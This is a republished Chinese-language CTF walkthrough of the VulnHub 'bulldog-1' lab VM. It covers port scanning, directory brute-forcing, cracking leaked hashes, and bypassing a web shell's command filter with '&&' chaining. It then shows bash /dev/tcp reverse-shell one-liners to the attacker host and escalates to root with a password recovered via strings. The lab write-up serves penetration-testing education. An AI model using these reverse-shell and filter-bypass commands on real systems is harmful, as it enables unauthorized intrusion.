栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

bulldog-1靶机 write up

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

bulldog-1靶机 write up

bulldog-1靶机 write up
  • 0x00 环境搭建
  • 0x01 信息收集
  • 0x02 漏洞挖掘
    • web漏洞思路
    • ssh 利用思路
    • 步骤1:浏览网页 爆破目录
    • 步骤二: 破解hash
    • 步骤三:利用密码登录后台
    • 步骤四:利用命令执行(需要尝试绕过方法)
    • 步骤五:反弹shell
  • 0x03 提升权限
    • 步骤六:查看系统用户,确定需要关注的用户
    • 步骤七:查找每个用户的文件
    • 步骤八:拼接root密码提权
  • 0x04 思路总结

0x00 环境搭建
  • 下载链接

      https://download.vulnhub.com/bulldog/bulldog.ova
    
  • 目标
    获得root权限 读取flag

  • 运行环境
    靶机 VM虚拟机启动
    攻击机 kali win10

  • 靶机ip问题

(1)设为nat模式 和kali同网段

(2)如果设为nat, kali扫不出靶机ip 这样尝试

【1】重新启动 靶机 到开机页面 选择第二个ubuntu的高级选项。

【2】继续选择第二个选项

【3】 选择root 按回车 回车 进入命令行模式

【4】 mount -o rw,remount /
【5】ifconfig -a 显示所有网卡的信息,包含未up的
【6】 vim /etc/network/interfaces 修改 网卡名称
【7】 都改为 ens33
【8】 reboot

【9】 去kali 扫描 网段测试

如果有问题 多试试
一开始 改了 还是没反应 尝试了好几次 还是不行,
之后删掉靶机文件,重新 导入了靶机 再次修改 ip出现。

0x01 信息收集
  • ip探测

    netdiscover -i eth0 -r  192.168.157.0/24
    

  • 端口和服务识别

      masscan -p 1-65535 --rate=1000 192.168.157.161
    
      nmap -A -sC -sV -p 80,23,8080 192.168.157.161 -o 	port.tx
    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-30 16:34 CST
Nmap scan report for 192.168.157.161
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 00:0C:29:27:6E:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.157.161

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.66 seconds

23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; proto

80/tcp open http WSGIServer 0.1 (Python 2.7.12)

8080/tcp open http WSGIServer 0.1 (Python 2.7.12)

OS details: Linux 3.2 - 4.9

0x02 漏洞挖掘 web漏洞思路

(1) 爆破目录 看各个网页功能 及源码 找漏洞
(2) 看是否存在cms等框架漏洞,存在直接利用。
不存在开bp 手动找,也可开awvs appscan xray扫描。

ssh 利用思路

(1)用九头蛇跑弱口令,在有用户名的情况下,需要看字典还有是否存在弱口令啦。
(2)从web中获得的账号密码,也可进行尝试,很有可能也是ssh密码。

步骤1:浏览网页 爆破目录

(1) kali 和win10 两款工具爆破
/robots.txt
/admin/login/ 登录框
/dev
(2)浏览主页 点击各个点
只点到 一个 /notice/ 没有利用点
(3) 看看爆破出来的页面
/admin/login/ 页面 是一个Django 框架做的登录框
/robots.txt 没用
/dev 内容过多
有用信息有

点击 Web-Shell 跳转到
http://192.168.157.161/dev/shell/
需要认证才能使用

审查 /dev 源码 发现 存在网页开发人员测试时留下的有用信息 密码的哈希
尝试 解密登录

	
	
	Team Lead: alan@bulldogindustries.com
Back-up Team Lead: william@bulldogindustries.com

Front End: malik@bulldogindustries.com
Front End: kevin@bulldogindustries.com

Back End: ashley@bulldogindustries.com
Back End: nick@bulldogindustries.com

Database: sarah@bulldogindustries.com
步骤二: 破解hash

最后 在线解密后 就得出 最后两个 密码

邮箱 nick@bulldogindustries.com
密码 bulldog (cmd5)

邮箱 sarah@bulldogindustries.com
密码 bulldoglover (somd5)

步骤三:利用密码登录后台

(1)以邮箱@前当做用户名 密码登录后 都显示没有操作权限。
(2) ssh登录 23 都失败
(3)想到刚才需要认证的web-shell 访问试试
认证成功 是一个命令执行的界面

步骤四:利用命令执行(需要尝试绕过方法)

测试后 很多命令都会被网页拦截 想办法绕过
测试出 可以利用 (允许执行的) &&(不允许执行的) 拼接命令绕过

比如
id 不被执行
ls && id id执行成

步骤五:反弹shell

(1)

	ls && bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/8080 <&1'

(2) 也可以 直接利用echo 可执行 反弹shell

echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash

先试用echo 输出命令,在输入到 bash中。

两种方法均可以反弹成功

0x03 提升权限 步骤六:查看系统用户,确定需要关注的用户

/bin/bash 的有 django 和 bulldogadmin 两个用户

步骤七:查找每个用户的文件

(1) 先看 bulldogadmin

find / -user bulldogadmin 2>/dev/null  

只显示非错误的
( 2>/dev/null 表示 将标准错误 重定向到 /dev/null 即linux设备的空文件中 俗称黑洞)

(2)发现 一个隐藏目录 中存在两个文件

/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
/home/bulldogadmin/.hiddenadmindirectory/note

(3)note文件应该是文本文件 直接cat 打印输出

cat /home/bulldogadmin/.hiddenadmindirectory/note

(4)App 看起来像是执行文件 strings 打印一下其中可打印的文件字符看看

strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

步骤八:拼接root密码提权

SUPERultH
imatePASH
SWORDyouH
CANTget

去掉H

SUPERultimatePASSWORDyouCANTget

可能是密码

su 

报错 must be run from a terminal
必须从一个终端运行

用以下命令 将shell转换成完全交互的tty终端模式

 python -c 'import pty; pty.spawn("/bin/bash")' 

再次

su

报错su: Authentication failure

需要

sudo su
SUPERultimatePASSWORDyouCANTget

cd ..
cat congrats.txt

0x04 思路总结

1.利用目录爆破 从爆破出的/dev页面内容中找到一处webshell 页面,源码中 查看到 认证需要的 账号密码。
2.利用webshell页面 可以执行操作系统命令,直接bash反弹 被禁止 。想办法绕过 echo 先输出命令 | 在输入到 bash中 或者 ls&&id 绕过。
3.获取到shell后 翻文件 看有没有密码等线索。
4.su 命令报错 must be run from a teriminal 必须从一个终端上运行时
python 环境可以
python -c ‘import pty;pty.spawn("/bin/bash")’
将shell转换为终端(tty)模式。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/618767.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号